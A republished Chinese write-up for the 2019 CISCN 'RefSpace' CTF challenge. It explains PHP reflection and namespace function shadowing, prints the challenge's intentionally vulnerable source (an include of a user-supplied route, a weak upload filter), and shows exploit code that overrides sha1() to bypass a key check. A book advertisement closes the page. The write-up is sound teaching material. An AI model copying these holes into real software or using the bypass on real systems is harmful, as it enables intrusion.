内容简介:国赛中 RefSpace 那道题的 wp 与研究。国赛 day2 出现了一道比较有意思的题,最后貌似只有5人能解出。赛时我尝试通过覆写函数来实现直接 getFlag ,最后发现自己还是太年轻了,预期解应该就是通过 php 反射类来覆写 namespace 中的所以整个题解题思路大致是:
国赛中 RefSpace 那道题的 wp 与研究。
国赛 day2 出现了一道比较有意思的题,最后貌似只有5人能解出。赛时我尝试通过覆写函数来实现直接 getFlag ,最后发现自己还是太年轻了,预期解应该就是通过 php 反射类来覆写 namespace 中的 sha1()
函数来达到 getFlag。
所以整个题解题思路大致是:
sha1
让我们首先来了解一下 php 反射
Reflection
PHP 5 具有完整的反射 API,添加了对类、接口、函数、方法和扩展进行*反向工程*的能力。 此外,反射 API 提供了方法来取出函数、类和方法中的文档注释。 请注意部分内部 API 丢失了反射扩展工作所需的代码。 例如,一个内置的 PHP 类可能丢失了反射属性的数据。这些少数的情况被认为是错误,不过, 正因为如此,它们应该被发现和修复。
反射,直观理解就是根据到达地找到出发地和来源。比如,一个光秃秃的对象,我们可以仅仅通过这个对象就能知道它所属的类、拥有哪些方法。
GET
在 Reflection Class 中我们可以看到很多比较有趣的 api ,例如 getProperties
官方文档也给出了例子:
<?php
class Foo {
public $foo = 1;
protected $bar = 2;
private $baz = 3;
}
$foo = new Foo();
$reflect = new ReflectionClass($foo);
$props = $reflect->getProperties(ReflectionProperty::IS_PUBLIC | ReflectionProperty::IS_PROTECTED);
foreach ($props as $prop) {
print $prop->getName() . "\n";
}
var_dump($props);
?>
OutPut:
foo
bar
array(2) {
[0]=>
object(ReflectionProperty)#3 (2) {
["name"]=>
string(3) "foo"
["class"]=>
string(3) "Foo"
}
[1]=>
object(ReflectionProperty)#4 (2) {
["name"]=>
string(3) "bar"
["class"]=>
string(3) "Foo"
}
}
读取私有成员变量
如果想要输出私有变量,就加上 ReflectionProperty::IS_PRIVATE
即可。
执行私有函数
既然可以拿到类成员的值,那么函数返回值能不能拿到呢?
当然是可以的
class Foo {
private function showFlag(){
return 'This is not flag';
}
}
$reflectionMethod = new ReflectionMethod('Foo', 'showFlag');
$reflectionMethod->setAccessible(true);
echo $reflectionMethod->invoke(new Foo());
OutPut:
This is not flag
SET
修改类的成员变量
利用 ReflectionProperty::setValue
可以修改成员变量,可以参考 官方文档
给出示例,这里也给一个例子,修改 private 或者 protected 类型的变量也要加上 setAccessible(true)
,否则会报错
class Foo {
public $foo = 1;
protected $bar = 2;
private $baz = 3;
}
$foo = new Foo();
$reflect = new ReflectionClass($foo);
//change foo fron 1 to 5
$reflect->getProperty('foo')->setValue($foo, '5');
//change baz from 3 to 4
$baz = $reflect->getProperty('baz');
$baz->setAccessible(true);
$baz->setValue($foo, '4');
//Output
$props = $reflect->getProperties(ReflectionProperty::IS_PUBLIC | ReflectionProperty::IS_PROTECTED | ReflectionProperty::IS_PRIVATE);
foreach ($props as $prop) {
$prop->setAccessible(true);
print $prop->getName() . "\n";
print $prop->getValue($foo)."\n";
}
Output:
foo 5 bar 2 baz 4
修改函数返回值
并不能直接修改函数返回值
Namespace
这里简单提一下 php 中的 namespace 命名空间,简单来说 php 命名空间为了解决的就是覆写 php 内部函数的问题,详细可以 参考命名空间概述 。
举个例子:
namespace Foo;
function sha1($key){
return "This is Foo sha1";
}
var_dump(sha1('1'));
var_dump(\sha1('1'));
Output:
/test.php:6:string 'This is Foo sha1' (length=18) /test.php:7:string '356a192b7913b04c54574d18c28d46e6395428ab' (length=40)
RefSpace
接着我们来看看这个题,首先通过一系列操作 getshell ,参考 zip或phar协议包含文件 ),这里就略过了,都是重复性简单的操作,得到以下源码
app/index
<?php
if (!defined('LFI')) {
echo "Include me!";
exit();
}
?>
<html>
<head>
<meta charset="UTF-8">
</head>
<body>
Hi CTFer,<br />
这是一个非常非常简单的SDK服务,它的任务是给各位大佬<!--鼠-->提供flag<br />
Powered by Aoisystem<br />
<!-- error_reporting(E_ALL); -->
</body>
</html>
app/Up10aD
<?php
if (!defined('LFI')) {
echo "Include me!";
exit();
}
if (isset($_FILES["file"])) {
$filename = $_FILES["file"]["name"];
$fileext = ".gif";
switch ($_FILES["file"]["type"]) {
case 'image/gif':
$fileext = ".gif";
break;
case 'image/jpeg':
$fileext = ".jpg";
break;
default:
echo "Only gif/jpg allowed";
exit();
}
$dst = "upload/" . $_FILES["file"]["name"] . $fileext;
move_uploaded_file($_FILES["file"]["tmp_name"], $dst);
echo "文件保存位置: {$dst}<br />";
}
?>
<html>
<head>
<meta charset="UTF-8">
</head>
<body>
我们不能让选手轻而易举的搜索到上传接口。<br />
即便是运气好的人碰巧遇到了,我相信我们的过滤是万无一失的(才怪
<form method="post" enctype="multipart/form-data">
<label for="file">来选择你的文件吧:</label>
<input type="file" name="file" id="file" />
<br />
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>
index.php
<?php
error_reporting(E_ALL);
define('LFI', 'LFI');
$lfi = $_GET['route'] ?? false;
if (!$lfi) {
header("location: ?route=app/index");
exit();
}
include "{$lfi}.php";
//Good job, you know how to use LFI, don't you?
//But You are still far from flag
//hint: ?router=app/flag
app/flag
<?php
if (!defined('LFI')) {
echo "Include me!";
exit();
}
use interesting\FlagSDK;
$sdk = new FlagSDK();
$key = $_GET['key'] ?? false;
if (!$key) {
echo "Please provide access key<br \>";
echo '$_GET["key"];';
exit();
}
$flag = $sdk->verify($key);
if ($flag) {
echo $flag;
} else {
echo "Wrong Key";
exit();
}
//Do you want to know more about this SDK?
//we 'accidentally' save a backup.zip for more information
sdk 开发文档.txt:
我们的SDK通过如下SHA1算法验证key是否正确:
public function verify($key)
{
if (sha1($key) === $this->getHash()) {
return "too{young-too-simple}";
}
return false;
}
如果正确的话,我们的SDK会返回flag。
PS: 为了节省各位大佬的时间,特注明
1.此处函数return值并不是真正的flag,和真正的flag没有关系。
2.此处调用的sha1函数为PHP语言内建的hash函数。(http://php.net/manual/zh/function.sha1.php)
3.您无须尝试本地解码或本地运行sdk.php,它被预期在指定服务器环境上运行。
4.几乎大部分源码内都有一定的hint,如果您是通过扫描目录发现本文件的,您可能还有很长的路要走。
所以这里重点就是 flag.php 了,之前我们提到过可以在命名空间覆写函数,可是即使可以覆写,那要怎么绕过 verify
这个函数呢?
Invoke
我们可以发现在 verify
函数中, getHash()
函数并没有传参,很有可能就是直接返回了一个固定值或者随机值什么的,那我们是不是可以利用反射类来执行 getHash()
函数,覆写 sha1()
函数绕过 verify
判断呢?
于是我们可以操作一波
<?php
namespace interesting;
class FlagSDK{
private function getHash(){
return \sha1('test');
}
public function verify($key)
{
if (sha1($key) === $this->getHash()) {
return "flag{xxx}";
}
return false;
}
}
$sdk = new FlagSDK();
function sha1($key){
$reflectionMethod = new \ReflectionMethod('interesting\FlagSDK', 'getHash');
$reflectionMethod->setAccessible(true);
return $reflectionMethod->invoke(new FlagSDK());
}
$flag = $sdk->verify('1');
if ($flag) {
echo $flag;
} else {
echo "Wrong Key";
exit();
}
基本构造如上,由于环境已经关了,只能本地实现以下,思路就是以上说的通过反射类来覆写 namespace 的 sha1
函数来达到绕过效果
做题的时候 flag.php 是有写权限的,所以我们只要把 sha1
代码写入 flag.php 就可以了
function sha1($key){
$reflectionMethod = new \ReflectionMethod('interesting\FlagSDK', 'getHash');
$reflectionMethod->setAccessible(true);
return $reflectionMethod->invoke(new FlagSDK());
}
当然,也可以像 @zsx 师傅一样手撕加密 orz …
以上所述就是小编给大家介绍的《2019 CISCN RefSpace》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
MATLAB在数学建模中的应用
卓金武 编 / 北京航空航天大学 / 2011-4 / 34.80元
《MATLAB在数学建模中的应用》从数学建模的角度介绍了MATLAB的应用。《MATLAB在数学建模中的应用》的4位作者均具有实际的数学建模参赛经历和竞赛指导经验。书中内容完全是根据数学建模竞赛的需要而编排的,涵盖了绝大部分数学建模问题的MATLAB求解方法。 《MATLAB在数学建模中的应用》内容分上下两篇。上篇介绍数学建模中常规方法MATLAB的实现,包括MATLAB交互、数据建模、程序......一起来看看 《MATLAB在数学建模中的应用》 这本书的介绍吧!